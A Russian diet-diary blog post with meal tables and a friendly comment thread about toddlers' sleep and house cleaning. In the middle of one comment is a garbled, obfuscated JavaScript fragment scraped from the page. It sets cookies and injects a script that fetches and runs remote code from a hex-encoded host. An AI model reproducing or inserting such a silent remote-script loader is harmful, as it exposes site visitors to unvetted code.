Дневник питания и тренировок за 20.11.2015

Сегодня, как и полагается приличным звездочкам, моя звездочка встала в полночь... А я как раз за пять минут до этого, закончив все моционы и хозяйственные дела, легла спать. Еще час пыталась дочу уложить путем уговоров, пения, рассказывания сказок и даже притворяясь совсем спящей. Ничего не вышло! Доча тоже умнеет, сказала волшебное слово «пись-пись». Обманывала, конечно, но нельзя игнорировать - а то проситься не будет. Пришлось вставать...
Легли в 5, когда папа уже встал на работу. За ночь посмотрели несколько мультиков, испекли капустную запеканку с грибами и бамией (не повторяйте! это сочетание - мой ночной бред). Теперь придется ее самой и есть...
Проснулись в 12. К часу приехали баба с дедой, чтобы мама могла отдохнуть от звездочки и убраться в квартире... Я все думаю, как люди ухитряются быстро убираться? У меня убраться наспех - минимум три часа. Прилично, с мытьем полов, не меньше пяти. А уж если еще и с уборкой в ванной, душевой и мытьем зеркал и панелей на кухне... сосчитать невозможно. Сегодня дедушка ушел гулять с Марьяной, а бабушка помогала мне с «декоративной уборкой» - мыла всякие панели и зеркала, а я убиралась и мыла полы. Вот... пол часа, как закончили. Где-то в 19.30 примерно. На завтра осталась сантехника... Многие пишут, что уборка мало калорий сжигает, может и так, но на следующий день у меня все тело ноет: руки, ноги, спина. А сегодня нерв пока защемило...
Уже пообедали с Марьяной, надо набраться сил и мужества и пойти в душ, смыть пыль веков.

Завтрак

Кол-во Калории Белки Жиры Углеводы
Яблоко
70
32.9 0.3 0.3 6.9
Капустная запеканка Темная ночь
243
164.3 6.6 6.6 19.7
Вода
500
0 0 0 0
Кофе чёрный без сахара
240
16.8 0.5 1.2 0.5
Чистка зубов
1
0 0 0 0

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Кофе чёрный без сахара
480
33.6 1 2.4 1
горчичный хлеб
62
169.4 4.2 4.5 28
Горчица столовая
6
8.6 0.6 0.3 0.8
Котлеты плоские
75
223.4 12.7 17.9 4.1

Обед

Кол-во Калории Белки Жиры Углеводы
Борщ 19/11
193
123.9 8.1 6.8 7.3
Гороховый суп с фрикадельками
300
195.6 9.3 12 12.6
Вода
400
0 0 0 0

Дневной перекус

Кол-во Калории Белки Жиры Углеводы
Фругурт
240
172.8 7.2 6 22.6

Ужин

Кол-во Калории Белки Жиры Углеводы
Скумбрия холодного копчения
82
123 19.2 5.2 0
Пиво, обычное, 4,9% об., все виды
365
157 1.7 0 13
Капустная запеканка Темная ночь
218
147.4 5.9 5.9 17.7
Борщ 19/11
487
312.7 20.5 17 18.5

Вечерний перекус

Кол-во Калории Белки Жиры Углеводы
Сушки простые из муки в/с
31
105.1 3.3 0.4 22.1
Кофе чёрный без сахара
240
16.8 0.5 1.2 0.5
Вода
400
0 0 0 0
кальций д3 никомед
2
0 0 0 0
Витрум бьюти просто
2
0 0 0 0
фолиевая кислота
1
0 0 0 0
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
 7 
 26
У вас большая площадь?
Mom Girl 20.11.2015 22:25
Как я вас понимаю, звездочки они такие, и никто им не указ. Моей 1 год и 4 мес.
Светлана Ендальцева, не дом, конечно. трехкомнатная - 100 квадратов проклятого ламината!
med-ved 20.11.2015 22:36
Дарья Кондратьева написал:
Доча тоже умнеет, сказала волшебное слово «пись-пись». Обманывала, конечно, но нельзя игнорировать - а то проситься не будет.

Она спит отдельно?
ирэн 20.11.2015 22:42
купите хорошую швабру для пола,я очень сокращаю время уборки.Такая прямоугольная с насадкой и разводов не оставляет.
med-ved, со мной, конечно! что ж я всю ночь буду бегать туда-сюда грудью кормить?
ирэн, у меня лучшая на свете швабра и моющий пылесос, но они сами не убираются...
ирэн 20.11.2015 22:53
Это точно,ну тогда Мистер Протер только вам в помощь.
Алька 20.11.2015 22:55
А мой звездочет как встанет в пять утра, так все, вставайте все, даже соседи. Столько шума от него! Начальник наш! 
Татьяна_Я 20.11.2015 23:10
Ого, а сколько вашей звезде? У нас вроде, наоборот, после года стал ребенок нормально засыпать в 9-10 вечера, встает в 8 утра и днем еще спим. Ночью бывает проснется, но пощупает меня, посмотрит, что темно и все спят и дальше спать. Мы правда горшок еще не освоили, спим в подгузе. Вот летом была проблема, просыпался с солнышком, мы как птички, темно значит надо спать, светло встаем.
Ирина 21.11.2015 00:28
а у нас начало недели было "прелестное"... три ночи младший к нам спать приходил и все бы ничего если бы он, как котенок не начинал маститься (триста раз переворачивается; на подушку залезает то ногами, то попой, то головой; то звездочкой ляжет; то на мне голова на муже нога и наоборот; то укрой его, то раскрой...). а еще он ночью хныкать немного начал (хорошо старший спит крепко и его даже откровенный плач не будит), но чая попил и в обнимку с поильником уснул. я сначала подумала на полнолуние (иногда он плохо спит в полнолуние), но потом глянула - луна растущая - не то... а вчера вылез клык! и как только зубик прорезался - ребенок опять спокойно спит и мы заодно
Нина Гвоздева 21.11.2015 00:39
Ирина Константинова, полнолуние, клык... Мысли сразу про вампиров!
Татьяна, моей год и 10. мы вот с горшком тоже никак... он пока лишь инструмент манипуляции родителями.
Ирина Константинова, у меня старший, когда его отучали от груди и совместного сна, ходил к нам ночью вместе с другом Чебурашкой. А друг этот был с него ростом. Спали вчетвером...
Дарья Кондратьева, Ничего СКОРО вырастет,и будет вам помощница!У меня погодки,представляете,я три с половиной года не спала нормально.Правда это было 28 лет назад,без машинок автомат,памперсов и т.д.Так что вам повезло,терпения,НЕМНОЖКО!
Ольга 21.11.2015 09:28
Дарья Кондратьева написал:
Я все думаю, как люди ухитряются быстро убираться? У меня убраться наспех - минимум три часа. Прилично, с мытьем полов, не меньше пяти. А уж если еще и с уборкой в ванной, душевой и мытьем зеркал и панелей на кухне... сосчитать невозможно.

Смешно! У меня тоже много времени уходит на уборку. 
Как сказал бы супруг одной моей знакомой: "А нечего квартиру так сильно запускать. Сама же от этого и страдаешь!"
January 21.11.2015 09:48
Ольга, мы с парнем за два часа полностью убираем нашу однушку от и до. И моем,и чистим,и стираем. Может то,что вдвоем,но очень быстро справляемся.
Ирина 21.11.2015 11:18
Нина Гвоздева, ага, вампирчик мой маленький)))
Юлия 21.11.2015 11:20
Дарья Кондратьева, а что за швабра? А то давно купить хочу, но не знаю какую...window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
January Smith, скорее всего, у Вас пока нет деток? У меня на собирание игрушек только полтора часа уходит. Можно, конечно, ускорить процесс - собрать все в кучу, в пакет или коробку, без разбору. Но тогда ребенок никогда не приучится к порядку - у каждой вещи должно быть свое место, и ребенок должен видеть, что старшие убирают вещи на свои места.
Юлия, к сожалению, не помню названия, а на самой швабре не написано. Купила ее после долгих проб и ошибок. Вечно в этих швабрах все ломалось. А у этой ну все идеально: прочные материалы, хорошие крепления и шарниры (все вращается, складывается туда, куда нужно, и тогда, когда нужно), тряпочку из микрофибры (с одной стороны с длинным ворсом, с другой - просто мягкий типа велюр) легко снимать и одевать, она не сползает, не рвется, не задирается. Очень качественная вещь! Не самая дорогая - около 2000 стоила.
January 21.11.2015 12:37
Дарья Кондратьева, нет, детей пока нет. Но,думаю,не очень-то это и изменит положение. Кто ведь как.
Ираида 21.11.2015 12:48
Какие у Вас дедушка с бабушкой молодцы! Помогают и с уборкой и ребенком! У нас так только 1- 2 раза в месяц бабушка на чай приезжает. Через 2 часа уезжает - дела...А про уборку я вообще молчу.
Татьяна_Я 21.11.2015 14:34
January Smith, вы ошибаетесь, ребенок изменит все, вы даже представить себе не можете какой бардак способен учинить годовалый малыш за полчаса
January Smith, о, наивная! Всякое, конечно, бывает... Мой первенец вообще мне не доставлял хлопот, а может, я просто их по молодости не сильно замечала, но совершенно точно, что по сравнению с Марьяной он по характеру и темпераменту родился ангелом. Никуда не лез, жизнью не рисковал, слушался с первого слова, не капризничал (могу пересчитать капризы все за всю жизнь: 1 раз в три года, 1 раз в 6 лет), практически не мусорил, к горшку был приучен с 6 месяцев, говорил предложениями с полутора лет и т.д. С Марьяной все не так. Это не девочка, а непослухай-ураганный, я не успеваю еще в одном углу последствия апокалипсиса оттереть, а она уже в трех других углах его повторяет. Она всюду достает, где не достает - стул приставляет, нигде от нее ничего не спрячешь. И ладно беспорядок - она все время пытается с собой покончить! Я даже не представляла, на сколько опасно у нас в доме и на улице! И каждый день она придумывает сто новых способов членовредительства.
Почитайте современную интернет-притчуна тему, как меняется жизнь матери ))) Это еще только эмоциональная сторона описывается, а есть еще и бытовая...
Ирина, это да! Помогают очень! С первым я к ним не обращалась - все сама ))) Они тогда молодые были, я тоже. Я справлялась, а у них другие интересы были )))
Новые рецепты
Интересные блоги
Лучшие рационы